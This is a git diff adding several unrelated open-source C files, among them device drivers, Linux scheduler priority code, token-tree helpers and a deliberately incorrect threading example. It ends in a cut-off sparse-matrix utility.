+TOK822 *tok822_sub_keep_after(TOK822 *t1, TOK822 *t2) +{ + TOK822 *head = t1->head; + + if ((t1->head = tok822_cut_after(t2)) == 0) + t1->tail = 0; + return (head); +} + +/* tok822_free_tree - destroy token tree */ + +TOK822 *tok822_free_tree(TOK822 *tp) +{ + TOK822 *next; + + for (/* void */; tp != 0; tp = next) { + if (tp->head) + tok822_free_tree(tp->head); + next = tp->next; + tok822_free(tp); + } + return (0); +} + +/* tok822_apply - apply action to specified tokens */ + +int tok822_apply(TOK822 *tree, int type, TOK822_ACTION action) +{ + TOK822 *tp; + int result = 0; + + for (tp = tree; tp; tp = tp->next) { + if (type == 0 || tp->type == type) + if ((result = action(tp)) != 0) + break; + } + return (result); +} + +/* tok822_grep - list matching tokens */ + +TOK822 **tok822_grep(TOK822 *tree, int type) +{ + TOK822 **list; + TOK822 *tp; + int count; + + for (count = 0, tp = tree; tp; tp = tp->next) + if (type == 0 || tp->type == type) + count++; + + list = (TOK822 **) mymalloc(sizeof(*list) * (count + 1)); + + for (count = 0, tp = tree; tp; tp = tp->next) + if (type == 0 || tp->type == type) + list[count++] = tp; + + list[count] = 0; + return (list); +} diff --git a/pool/shard011/C/0141981_aat31xx.c b/pool/shard011/C/0141981_aat31xx.c new file mode 100644 index 0000000000000000000000000000000000000000..ab99416b6a1be7b6267177146577ebc71a60a8f9 --- /dev/null +++ b/pool/shard011/C/0141981_aat31xx.c @@ -0,0 +1,137 @@ +/** + * \file + * + * \brief API driver for component aat31xx. + * + * Copyright (c) 2011-2013 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel microcontroller product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +/** + * \defgroup aat31xx_display_group Display - AAT31XX Controller + * + * Low-level driver for the AAT31XX LCD backlight controller. This driver provides access to the main + * features of the AAT31XX controller. + * + * \{ + */ + +#include "board.h" +#include "ioport.h" +#include "aat31xx.h" +#include "conf_aat31xx.h" + +/// @cond 0 +/**INDENT-OFF**/ +#ifdef __cplusplus +extern "C" { +#endif +/**INDENT-ON**/ +/// @endcond + +#define DELAY_PULSE (0x18u) +#define DELAY_ENABLE (0x20000u) +#define DELAY_DISABLE (0x20000u) + +/** + * \brief Set the LCD backlight level. + * + * \param ul_level backlight level. + * + * \note pin BOARD_AAT31XX_SET_GPIO must be configured before calling aat31xx_set_backlight. + */ +void aat31xx_set_backlight(uint32_t ul_level) +{ + volatile uint32_t ul_delay; + uint32_t i; + +#ifdef CONF_BOARD_AAT3155 + ul_level = AAT31XX_MAX_BACKLIGHT_LEVEL - ul_level + 1; +#endif + +#ifdef CONF_BOARD_AAT3193 + ul_level = AAT31XX_MAX_BACKLIGHT_LEVEL - ul_level + 1; +#endif + + /* Ensure valid level */ + ul_level = (ul_level > AAT31XX_MAX_BACKLIGHT_LEVEL) ? AAT31XX_MAX_BACKLIGHT_LEVEL : ul_level; + ul_level = (ul_level < AAT31XX_MIN_BACKLIGHT_LEVEL) ? AAT31XX_MIN_BACKLIGHT_LEVEL : ul_level; + + /* Set new backlight level */ + for (i = 0; i < ul_level; i++) { + ioport_set_pin_level(BOARD_AAT31XX_SET_GPIO, IOPORT_PIN_LEVEL_LOW); + ul_delay = DELAY_PULSE; + while (ul_delay--) { + } + + ioport_set_pin_level(BOARD_AAT31XX_SET_GPIO, IOPORT_PIN_LEVEL_HIGH); + + ul_delay = DELAY_PULSE; + while (ul_delay--) { + } + } + + ul_delay = DELAY_ENABLE; + while (ul_delay--) { + } +} + +/** + * \brief Switch off backlight. + */ +void aat31xx_disable_backlight(void) +{ + volatile uint32_t ul_delay; + + ioport_set_pin_level(BOARD_AAT31XX_SET_GPIO, IOPORT_PIN_LEVEL_LOW); + + ul_delay = DELAY_DISABLE; + while (ul_delay--) { + } +} + +/// @cond 0 +/**INDENT-OFF**/ +#ifdef __cplusplus +} +#endif +/**INDENT-ON**/ +/// @endcond + +/** + * \} + */ diff --git a/pool/shard011/C/0141982_cpupri.c b/pool/shard011/C/0141982_cpupri.c new file mode 100644 index 0000000000000000000000000000000000000000..a347233fa5dc4f5dc513bb198f16566cd27a24ec --- /dev/null +++ b/pool/shard011/C/0141982_cpupri.c @@ -0,0 +1,242 @@ +/* + * kernel/sched/cpupri.c + * + * CPU priority management + * + * Copyright (C) 2007-2008 Novell + * + * Author: Gregory Haskins + * + * This code tracks the priority of each CPU so that global migration + * decisions are easy to calculate. Each CPU can be in a state as follows: + * + * (INVALID), IDLE, NORMAL, RT1, ... RT99 + * + * going from the lowest priority to the highest. CPUs in the INVALID state + * are not eligible for routing. The system maintains this state with + * a 2 dimensional bitmap (the first for priority class, the second for cpus + * in that class). Therefore a typical application without affinity + * restrictions can find a suitable CPU with O(1) complexity (e.g. two bit + * searches). For tasks with affinity restrictions, the algorithm has a + * worst case complexity of O(min(102, nr_domcpus)), though the scenario that + * yields the worst case search is fairly contrived. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; version 2 + * of the License. + */ + +#include +#include +#include +#include "cpupri.h" + +/* Convert between a 140 based task->prio, and our 102 based cpupri */ +static int convert_prio(int prio) +{ + int cpupri; + + if (prio == CPUPRI_INVALID) + cpupri = CPUPRI_INVALID; + else if (prio == MAX_PRIO) + cpupri = CPUPRI_IDLE; + else if (prio >= MAX_RT_PRIO) + cpupri = CPUPRI_NORMAL; + else + cpupri = MAX_RT_PRIO - prio + 1; + + return cpupri; +} + +/** + * cpupri_find - find the best (lowest-pri) CPU in the system + * @cp: The cpupri context + * @p: The task + * @lowest_mask: A mask to fill in with selected CPUs (or NULL) + * + * Note: This function returns the recommended CPUs as calculated during the + * current invocation. By the time the call returns, the CPUs may have in + * fact changed priorities any number of times. While not ideal, it is not + * an issue of correctness since the normal rebalancer logic will correct + * any discrepancies created by racing against the uncertainty of the current + * priority configuration. + * + * Returns: (int)bool - CPUs were found + */ +int cpupri_find(struct cpupri *cp, struct task_struct *p, + struct cpumask *lowest_mask) +{ + int idx = 0; + int task_pri = convert_prio(p->prio); + + if (task_pri >= MAX_RT_PRIO) + return 0; + + for (idx = 0; idx < task_pri; idx++) { + struct cpupri_vec *vec = &cp->pri_to_cpu[idx]; + int skip = 0; + + if (!atomic_read(&(vec)->count)) + skip = 1; + /* + * When looking at the vector, we need to read the counter, + * do a memory barrier, then read the mask. + * + * Note: This is still all racey, but we can deal with it. + * Ideally, we only want to look at masks that are set. + * + * If a mask is not set, then the only thing wrong is that we + * did a little more work than necessary. + * + * If we read a zero count but the mask is set, because of the + * memory barriers, that can only happen when the highest prio + * task for a run queue has left the run queue, in which case, + * it will be followed by a pull. If the task we are processing + * fails to find a proper place to go, that pull request will + * pull this task if the run queue is running at a lower + * priority. + */ + smp_rmb(); + + /* Need to do the rmb for every iteration */ + if (skip) + continue; + + if (cpumask_any_and(&p->cpus_allowed, vec->mask) >= nr_cpu_ids) + continue; + + if (lowest_mask) { + cpumask_and(lowest_mask, &p->cpus_allowed, vec->mask); + + /* + * We have to ensure that we have at least one bit + * still set in the array, since the map could have + * been concurrently emptied between the first and + * second reads of vec->mask. If we hit this + * condition, simply act as though we never hit this + * priority level and continue on. + */ + if (cpumask_any(lowest_mask) >= nr_cpu_ids) + continue; + } + + return 1; + } + + return 0; +} + +/** + * cpupri_set - update the cpu priority setting + * @cp: The cpupri context + * @cpu: The target cpu + * @newpri: The priority (INVALID-RT99) to assign to this CPU + * + * Note: Assumes cpu_rq(cpu)->lock is locked + * + * Returns: (void) + */ +void cpupri_set(struct cpupri *cp, int cpu, int newpri) +{ + int *currpri = &cp->cpu_to_pri[cpu]; + int oldpri = *currpri; + int do_mb = 0; + + newpri = convert_prio(newpri); + + BUG_ON(newpri >= CPUPRI_NR_PRIORITIES); + + if (newpri == oldpri) + return; + + /* + * If the cpu was currently mapped to a different value, we + * need to map it to the new value then remove the old value. + * Note, we must add the new value first, otherwise we risk the + * cpu being missed by the priority loop in cpupri_find. + */ + if (likely(newpri != CPUPRI_INVALID)) { + struct cpupri_vec *vec = &cp->pri_to_cpu[newpri]; + + cpumask_set_cpu(cpu, vec->mask); + /* + * When adding a new vector, we update the mask first, + * do a write memory barrier, and then update the count, to + * make sure the vector is visible when count is set. + */ + smp_mb__before_atomic(); + atomic_inc(&(vec)->count); + do_mb = 1; + } + if (likely(oldpri != CPUPRI_INVALID)) { + struct cpupri_vec *vec = &cp->pri_to_cpu[oldpri]; + + /* + * Because the order of modification of the vec->count + * is important, we must make sure that the update + * of the new prio is seen before we decrement the + * old prio. This makes sure that the loop sees + * one or the other when we raise the priority of + * the run queue. We don't care about when we lower the + * priority, as that will trigger an rt pull anyway. + * + * We only need to do a memory barrier if we updated + * the new priority vec. + */ + if (do_mb) + smp_mb__after_atomic(); + + /* + * When removing from the vector, we decrement the counter first + * do a memory barrier and then clear the mask. + */ + atomic_dec(&(vec)->count); + smp_mb__after_atomic(); + cpumask_clear_cpu(cpu, vec->mask); + } + + *currpri = newpri; +} + +/** + * cpupri_init - initialize the cpupri structure + * @cp: The cpupri context + * + * Returns: -ENOMEM if memory fails. + */ +int cpupri_init(struct cpupri *cp) +{ + int i; + + memset(cp, 0, sizeof(*cp)); + + for (i = 0; i < CPUPRI_NR_PRIORITIES; i++) { + struct cpupri_vec *vec = &cp->pri_to_cpu[i]; + + atomic_set(&vec->count, 0); + if (!zalloc_cpumask_var(&vec->mask, GFP_KERNEL)) + goto cleanup; + } + + for_each_possible_cpu(i) + cp->cpu_to_pri[i] = CPUPRI_INVALID; + return 0; + +cleanup: + for (i--; i >= 0; i--) + free_cpumask_var(cp->pri_to_cpu[i].mask); + return -ENOMEM; +} + +/** + * cpupri_cleanup - clean up the cpupri structure + * @cp: The cpupri context + */ +void cpupri_cleanup(struct cpupri *cp) +{ + int i; + + for (i = 0; i < CPUPRI_NR_PRIORITIES; i++) + free_cpumask_var(cp->pri_to_cpu[i].mask); +} diff --git a/pool/shard011/C/0141983_thread-dbl-buf-attempt.c b/pool/shard011/C/0141983_thread-dbl-buf-attempt.c new file mode 100644 index 0000000000000000000000000000000000000000..1d7888766400d684282e0e20327780ca7286ba41 --- /dev/null +++ b/pool/shard011/C/0141983_thread-dbl-buf-attempt.c @@ -0,0 +1,114 @@ + +/* + * A simple WRONG attempt to uses double buffering to increase concurrency for the reader/writer threads. + * + */ +#include +#include +#include +#include +#include +#include + + +#define MODE 0666 +#define MAX_BUF_SIZE 8192 + +int in, out; +int src, dst; +int bufsize; +char bufA[MAX_BUF_SIZE]; +char bufB[MAX_BUF_SIZE]; + +char *readbuffer, *writebuffer; + +/* flag is used to synchronize between the reader and writer threads + * flag=FALSE implies buffer is empty and the reader thread can fill + * in the buffer. The reader sets the flag to TRUE after it is done + * reading one block. The writer thread writes out the buffer and + * sets the flag to FALSE + */ +#define TRUE 1 +#define FALSE 0 +int flag=TRUE; +int readStarted=FALSE; + +void reader(void); +void writer(void); + + +int main(int argc, char *argv[]) +{ + pthread_t thread1, thread2; + + if (argc != 4) { + fprintf(stderr,"Usage: %s \n", argv[0]); + exit(1); + } + + bufsize = atoi(argv[1]); + if (bufsize > 8192) { + fprintf(stderr,"Error: %s: max. buffer size is MAX_BUF_SIZE\n",argv[0]); + exit(1); + } + + + src = open(argv[2], O_RDONLY); + if (src < 0) exit(2); + dst = creat(argv[3], MODE); + if (dst < 0) exit(3); + + readbuffer = bufA; + writebuffer = bufB; + + pthread_create(&thread1, NULL, (void*)&reader, (void*) NULL); + pthread_create(&thread2, NULL, (void*)&writer, (void*) NULL); + + + pthread_join(thread1, NULL); + pthread_join(thread2, NULL); + + close(src); + close(dst); + exit(0); +} + +void reader(void) +{ + char *tmp; + + printf("Reader thread, file = %d\n",src); + fflush(stdout); + while (1) { + in = read(src, readbuffer, bufsize); + readStarted=TRUE; + /*printf("read %d character\n",in);*/ + if (!(flag)) { + tmp = readbuffer; readbuffer=writebuffer; writebuffer=tmp; + flag = TRUE; + } + if (in <= 0) break; + } + pthread_exit(0); +} + +void writer(void) +{ + char *tmp; + + printf("Writer thread, file = %d\n",dst); + fflush(stdout); + + while (!readStarted); + + while (1) { + out = write(dst, writebuffer, in); + /*printf("wrote %d character\n",out);*/ + if (flag) { + tmp = readbuffer; readbuffer=writebuffer; writebuffer=tmp; + flag = FALSE; + } + if (out <= 0) break; + } + pthread_exit(0); +} diff --git a/pool/shard011/C/0141984_fimc-is-device-imx134.c b/pool/shard011/C/0141984_fimc-is-device-imx134.c new file mode 100644 index 0000000000000000000000000000000000000000..32b9248fd4a281c7192d8ab4a2456f1e4034a05b --- /dev/null +++ b/pool/shard011/C/0141984_fimc-is-device-imx134.c @@ -0,0 +1,193 @@ +/* + * Samsung Exynos5 SoC series Sensor driver + * + * + * Copyright (c) 2011 Samsung Electronics Co., Ltd + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef CONFIG_OF +#include +#endif +#include +#include +#include +#include + +#include "fimc-is-hw.h" +#include "fimc-is-core.h" +#include "fimc-is-device-sensor.h" +#include "fimc-is-resourcemgr.h" +#include "fimc-is-device-imx134.h" + +#define SENSOR_NAME "IMX134" + +static struct fimc_is_sensor_cfg config_imx134[] = { + /* 3280X2458@30fps */ + FIMC_IS_SENSOR_CFG(3280, 2458, 30, 15, 0), + /* 3280X1846@30fps */ + FIMC_IS_SENSOR_CFG(3280, 1846, 30, 11, 1), + /* 3280X2458@24fps */ + FIMC_IS_SENSOR_CFG(3280, 2458, 24, 12, 2), + /* 3280X1846@24fps */ + FIMC_IS_SENSOR_CFG(3280, 1846, 24, 9, 3), + /* 1936X1450@24fps */ + FIMC_IS_SENSOR_CFG(1936, 1450, 24, 12, 4), + /* 1936X1090@24fps */ + FIMC_IS_SENSOR_CFG(1936, 1090, 24, 9, 5), + /* 816X460@120fps */ + FIMC_IS_SENSOR_CFG(816, 460, 120, 7, 6), + /* 1640X924@60fps */ + FIMC_IS_SENSOR_CFG(1640, 924, 60, 6, 7), +}; + +static int sensor_imx134_init(struct v4l2_subdev *subdev, u32 val) +{ + int ret = 0; + struct fimc_is_module_enum *module; + + BUG_ON(!subdev); + + module = (struct fimc_is_module_enum *)v4l2_get_subdevdata(subdev); + + pr_info("[MOD:D:%d] %s(%d)\n", module->id, __func__, val); + + return ret; +} + +static const struct v4l2_subdev_core_ops core_ops = { + .init = sensor_imx134_init +}; + +static const struct v4l2_subdev_ops subdev_ops = { + .core = &core_ops +}; + +#ifdef CONFIG_OF +static int sensor_imx134_power_setpin(struct device *dev) +{ + return 0; +} +#endif /* CONFIG_OF */ + +int sensor_imx134_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + int ret = 0; + struct fimc_is_core *core; + struct v4l2_subdev *subdev_module; + struct fimc_is_module_enum *module; + struct fimc_is_device_sensor *device; + struct sensor_open_extended *ext; + + BUG_ON(!fimc_is_dev); + + core = (struct fimc_is_core *)dev_get_drvdata(fimc_is_dev); + if (!core) { + probe_err("core device is not yet probed"); + return -EPROBE_DEFER; + } + + device = &core->sensor[SENSOR_IMX134_INSTANCE]; + + subdev_module = kzalloc(sizeof(struct v4l2_subdev), GFP_KERNEL); + if (!subdev_module) { + probe_err("subdev_module is NULL"); + ret = -ENOMEM; + goto p_err; + } + + module = &device->module_enum[atomic_read(&core->resourcemgr.rsccount_module)]; + atomic_inc(&core->resourcemgr.rsccount_module); + module->sensor_id = SENSOR_NAME_IMX134; + module->subdev = subdev_module; + module->device = SENSOR_IMX134_INSTANCE; + module->ops = NULL; + module->client = client; + module->active_width = 3264; + module->active_height = 2448; + module->pixel_width = module->active_width + 16; + module->pixel_height = module->active_height + 10; + module->max_framerate = 300; + module->position = SENSOR_POSITION_REAR; + module->mode = CSI_MODE_CH0_ONLY; + module->lanes = CSI_DATA_LANES_4; + module->sensor_maker = "SONY"; + module->sensor_name = "IMX134"; + module->setfile_name = "setfile_imx134.bin"; + module->cfgs = ARRAY_SIZE(config_imx134); + module->cfg = config_imx134; + module->ops = NULL; + module->private_data = NULL; +#ifdef CONFIG_OF + module->power_setpin = sensor_imx134_power_setpin; +#endif + + ext = &module->ext; + ext->mipi_lane_num = module->lanes; + ext->I2CSclk = I2C_L0; + + ext->sensor_con.product_name = SENSOR_NAME_IMX134; + ext->sensor_con.peri_type = SE_I2C; + ext->sensor_con.peri_setting.i2c.channel = SENSOR_CONTROL_I2C0; + ext->sensor_con.peri_setting.i2c.slave_address = 0x34; + ext->sensor_con.peri_setting.i2c.speed = 400000; + + ext->actuator_con.product_name = ACTUATOR_NAME_AK7345;//ACTUATOR_NAME_NOTHING; + ext->actuator_con.peri_type = SE_I2C; + ext->actuator_con.peri_setting.i2c.channel = SENSOR_CONTROL_I2C1; + ext->actuator_con.peri_setting.i2c.slave_address = 0x34; + ext->actuator_con.peri_setting.i2c.speed = 400000; + +#ifdef CONFIG_LEDS_MAX77804 + ext->flash_con.product_name = FLADRV_NAME_MAX77693; +#endif +#ifdef CONFIG_LEDS_LM3560 + ext->flash_con.product_name = FLADRV_NAME_LM3560; +#endif +#ifdef CONFIG_LEDS_SKY81296 + ext->flash_con.product_name = FLADRV_NAME_SKY81296; +#endif +#ifdef CONFIG_LEDS_KTD2692 + ext->flash_con.product_name = FLADRV_NAME_KTD2692; +#endif + ext->flash_con.peri_type = SE_GPIO; + ext->flash_con.peri_setting.gpio.first_gpio_port_no = 1; + ext->flash_con.peri_setting.gpio.second_gpio_port_no = 2; + + ext->from_con.product_name = FROMDRV_NAME_NOTHING; + + ext->companion_con.product_name = COMPANION_NAME_NOTHING; + + if (client) { + v4l2_i2c_subdev_init(subdev_module, client, &subdev_ops); + } else { + v4l2_subdev_init(subdev_module, &subdev_ops); + } + + v4l2_set_subdevdata(subdev_module, module); + v4l2_set_subdev_hostdata(subdev_module, device); + snprintf(subdev_module->name, V4L2_SUBDEV_NAME_SIZE, "sensor-subdev.%d", module->id); + +p_err: + probe_info("%s(%d)\n", __func__, ret); + return ret; +} + diff --git a/pool/shard011/C/0141985_blz2060.c b/pool/shard011/C/0141985_blz2060.c new file mode 100644 index 0000000000000000000000000000000000000000..c5221d0de5caf274c3d28a824f83768ca4f76db8 --- /dev/null +++ b/pool/shard011/C/0141985_blz2060.c @@ -0,0 +1,306 @@ +/* blz2060.c: Driver for Blizzard 2060 SCSI Controller. + * + * Copyright (C) 1996 Jesper Skov (jskov@cygnus.co.uk) + * + * This driver is based on the CyberStorm driver, hence the occasional + * reference to CyberStorm. + */ + +/* TODO: + * + * 1) Figure out how to make a cleaner merge with the sparc driver with regard + * to the caches and the Sparc MMU mapping. + * 2) Make as few routines required outside the generic driver. A lot of the + * routines in this file used to be inline! + */ + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "scsi.h" +#include +#include "NCR53C9x.h" + +#include +#include +#include +#include + +#include + +/* The controller registers can be found in the Z2 config area at these + * offsets: + */ +#define BLZ2060_ESP_ADDR 0x1ff00 +#define BLZ2060_DMA_ADDR 0x1ffe0 + + +/* The Blizzard 2060 DMA interface + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Only two things can be programmed in the Blizzard DMA: + * 1) The data direction is controlled by the status of bit 31 (1 = write) + * 2) The source/dest address (word aligned, shifted one right) in bits 30-0 + * + * Figure out interrupt status by reading the ESP status byte. + */ +struct blz2060_dma_registers { + volatile unsigned char dma_led_ctrl; /* DMA led control [0x000] */ + unsigned char dmapad1[0x0f]; + volatile unsigned char dma_addr0; /* DMA address (MSB) [0x010] */ + unsigned char dmapad2[0x03]; + volatile unsigned char dma_addr1; /* DMA address [0x014] */ + unsigned char dmapad3[0x03]; + volatile unsigned char dma_addr2; /* DMA address [0x018] */ + unsigned char dmapad4[0x03]; + volatile unsigned char dma_addr3; /* DMA address (LSB) [0x01c] */ +}; + +#define BLZ2060_DMA_WRITE 0x80000000 + +/* DMA control bits */ +#define BLZ2060_DMA_LED 0x02 /* HD led control 1 = off */ + +static int dma_bytes_sent(struct NCR_ESP *esp, int fifo_count); +static int dma_can_transfer(struct NCR_ESP *esp, Scsi_Cmnd *sp); +static void dma_dump_state(struct NCR_ESP *esp); +static void dma_init_read(struct NCR_ESP *esp, __u32 addr, int length); +static void dma_init_write(struct NCR_ESP *esp, __u32 addr, int length); +static void dma_ints_off(struct NCR_ESP *esp); +static void dma_ints_on(struct NCR_ESP *esp); +static int dma_irq_p(struct NCR_ESP *esp); +static void dma_led_off(struct NCR_ESP *esp); +static void dma_led_on(struct NCR_ESP *esp); +static int dma_ports_p(struct NCR_ESP *esp); +static void dma_setup(struct NCR_ESP *esp, __u32 addr, int count, int write); + +static volatile unsigned char cmd_buffer[16]; + /* This is where all commands are put + * before they are transferred to the ESP chip + * via PIO. + */ + +/***************************************************************** Detection */ +int __init blz2060_esp_detect(Scsi_Host_Template *tpnt) +{ + struct NCR_ESP *esp; + struct zorro_dev *z = NULL; + unsigned long address; + + if ((z = zorro_find_device(ZORRO_PROD_PHASE5_BLIZZARD_2060, z))) { + unsigned long board = z->resource.start; + if (request_mem_region(board+BLZ2060_ESP_ADDR, + sizeof(struct ESP_regs), "NCR53C9x")) { + esp = esp_allocate(tpnt, (void *)board+BLZ2060_ESP_ADDR); + + /* Do command transfer with programmed I/O */ + esp->do_pio_cmds = 1; + + /* Required functions */ + esp->dma_bytes_sent = &dma_bytes_sent; + esp->dma_can_transfer = &dma_can_transfer; + esp->dma_dump_state = &dma_dump_state; + esp->dma_init_read = &dma_init_read; + esp->dma_init_write = &dma_init_write; + esp->dma_ints_off = &dma_ints_off; + esp->dma_ints_on = &dma_ints_on; + esp->dma_irq_p = &dma_irq_p; + esp->dma_ports_p = &dma_ports_p; + esp->dma_setup = &dma_setup; + + /* Optional functions */ + esp->dma_barrier = 0; + esp->dma_drain = 0; + esp->dma_invalidate = 0; + esp->dma_irq_entry = 0; + esp->dma_irq_exit = 0; + esp->dma_led_on = &dma_led_on; + esp->dma_led_off = &dma_led_off; + esp->dma_poll = 0; + esp->dma_reset = 0; + + /* SCSI chip speed */ + esp->cfreq = 40000000; + + /* The DMA registers on the Blizzard are mapped + * relative to the device (i.e. in the same Zorro + * I/O block). + */ + address = (unsigned long)ZTWO_VADDR(board); + esp->dregs = (void *)(address + BLZ2060_DMA_ADDR); + + /* ESP register base */ + esp->eregs = (struct ESP_regs *)(address + BLZ2060_ESP_ADDR); + + /* Set the command buffer */ + esp->esp_command = cmd_buffer; + esp->esp_command_dvma = virt_to_bus((void *)cmd_buffer); + + esp->irq = IRQ_AMIGA_PORTS; + request_irq(IRQ_AMIGA_PORTS, esp_intr, SA_SHIRQ, + "Blizzard 2060 SCSI", esp->ehost); + + /* Figure out our scsi ID on the bus */ + esp->scsi_id = 7; + + /* We don't have a differential SCSI-bus. */ + esp->diff = 0; + + esp_initialize(esp); + + printk("ESP: Total of %d ESP hosts found, %d actually in use.\n", nesps, esps_in_use); + esps_running = esps_in_use; + return esps_in_use; + } + } + return 0; +} + +/************************************************************* DMA Functions */ +static int dma_bytes_sent(struct NCR_ESP *esp, int fifo_count) +{ + /* Since the Blizzard DMA is fully dedicated to the ESP chip, + * the number of bytes sent (to the ESP chip) equals the number + * of bytes in the FIFO - there is no buffering in the DMA controller. + * XXXX Do I read this right? It is from host to ESP, right? + */ + return fifo_count; +} + +static int dma_can_transfer(struct NCR_ESP *esp, Scsi_Cmnd *sp) +{ + /* I don't think there's any limit on the Blizzard DMA. So we use what + * the ESP chip can handle (24 bit). + */ + unsigned long sz = sp->SCp.this_residual; + if(sz > 0x1000000) + sz = 0x1000000; + return sz; +} + +static void dma_dump_state(struct NCR_ESP *esp) +{ + ESPLOG(("intreq:<%04x>, intena:<%04x>\n", + custom.intreqr, custom.intenar)); +} + +static void dma_init_read(struct NCR_ESP *esp, __u32 addr, int length) +{ + struct blz2060_dma_registers *dregs = + (struct blz2060_dma_registers *) (esp->dregs); + + cache_clear(addr, length); + + addr >>= 1; + addr &= ~(BLZ2060_DMA_WRITE); + dregs->dma_addr3 = (addr ) & 0xff; + dregs->dma_addr2 = (addr >> 8) & 0xff; + dregs->dma_addr1 = (addr >> 16) & 0xff; + dregs->dma_addr0 = (addr >> 24) & 0xff; +} + +static void dma_init_write(struct NCR_ESP *esp, __u32 addr, int length) +{ + struct blz2060_dma_registers *dregs = + (struct blz2060_dma_registers *) (esp->dregs); + + cache_push(addr, length); + + addr >>= 1; + addr |= BLZ2060_DMA_WRITE; + dregs->dma_addr3 = (addr ) & 0xff; + dregs->dma_addr2 = (addr >> 8) & 0xff; + dregs->dma_addr1 = (addr >> 16) & 0xff; + dregs->dma_addr0 = (addr >> 24) & 0xff; +} + +static void dma_ints_off(struct NCR_ESP *esp) +{ + disable_irq(esp->irq); +} + +static void dma_ints_on(struct NCR_ESP *esp) +{ + enable_irq(esp->irq); +} + +static int dma_irq_p(struct NCR_ESP *esp) +{ + return (esp_read(esp->eregs->esp_status) & ESP_STAT_INTR); +} + +static void dma_led_off(struct NCR_ESP *esp) +{ + ((struct blz2060_dma_registers *) (esp->dregs))->dma_led_ctrl = + BLZ2060_DMA_LED; +} + +static void dma_led_on(struct NCR_ESP *esp) +{ + ((struct blz2060_dma_registers *) (esp->dregs))->dma_led_ctrl = 0; +} + +static int dma_ports_p(struct NCR_ESP *esp) +{ + return ((custom.intenar) & IF_PORTS); +} + +static void dma_setup(struct NCR_ESP *esp, __u32 addr, int count, int write) +{ + /* On the Sparc, DMA_ST_WRITE means "move data from device to memory" + * so when (write) is true, it actually means READ! + */ + if(write){ + dma_init_read(esp, addr, count); + } else { + dma_init_write(esp, addr, count); + } +} + +#define HOSTS_C + +int blz2060_esp_release(struct Scsi_Host *instance) +{ +#ifdef MODULE + unsigned long address = (unsigned long)((struct NCR_ESP *)instance->hostdata)->edev; + + esp_deallocate((struct NCR_ESP *)instance->hostdata); + esp_release(); + release_mem_region(address, sizeof(struct ESP_regs)); + free_irq(IRQ_AMIGA_PORTS, esp_intr); +#endif + return 1; +} + + +static Scsi_Host_Template driver_template = { + .proc_name = "esp-blz2060", + .proc_info = esp_proc_info, + .name = "Blizzard2060 SCSI", + .detect = blz2060_esp_detect, + .slave_alloc = esp_slave_alloc, + .slave_destroy = esp_slave_destroy, + .release = blz2060_esp_release, + .queuecommand = esp_queue, + .eh_abort_handler = esp_abort, + .eh_bus_reset_handler = esp_reset, + .can_queue = 7, + .this_id = 7, + .sg_tablesize = SG_ALL, + .cmd_per_lun = 1, + .use_clustering = ENABLE_CLUSTERING +}; + + +#include "scsi_module.c" + +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0141986_uetree.c b/pool/shard011/C/0141986_uetree.c new file mode 100644 index 0000000000000000000000000000000000000000..d2d783e6e9d666f57d03d64c3d4971aa4e0fb931 --- /dev/null +++ b/pool/shard011/C/0141986_uetree.c @@ -0,0 +1,83 @@ +#include +#include +#include +#include "spasm.h" + +/* computes an unsymmetric elimination tree and permute the rows and columns of a (square) matrix according to it */ + +int main(int argc, char **argv) { + int prime = 42013; + spasm_triplet *T; + spasm *A; + + /* options descriptor */ + struct option longopts[5] = { + {"tree", no_argument, NULL, 't'}, + {"matrix", no_argument, NULL, 'm'}, + {"non-topological", no_argument, NULL, 'n'}, + {"stats", no_argument, NULL, 's'}, + {NULL, 0, NULL, 0} + }; + + int mode = 'm'; + int topo = 1; + int ch; + while ((ch = getopt_long(argc, argv, "", longopts, NULL)) != -1) { + switch (ch) { + case 'm': + case 't': + case 's': + mode = ch; + break; + case 'n': + topo = 0; + break; + default: + printf("Unknown option\n"); + exit(1); + } + } + + T = spasm_load_sms(stdin, prime); + assert (T->n == T->m); + + A = spasm_compress(T); + spasm_triplet_free(T); + int n = A->n; + + int *uetree = spasm_uetree(A); + int *postorder = topo ? spasm_tree_topological_postorder(A, uetree) : spasm_tree_postorder(A, uetree); + + if (mode == 't') { + fprintf(stderr, "rendering the tree...\n"); + printf("digraph {\n"); + printf("rank = BT;\n"); + for(int i = 0; i < n; i++) { + int j = postorder[i]; + if (uetree[j] >= 0) + printf(" %d -> %d;\n", j + 1, uetree[j] + 1); + else + printf(" %d;\n", j + 1); + } + 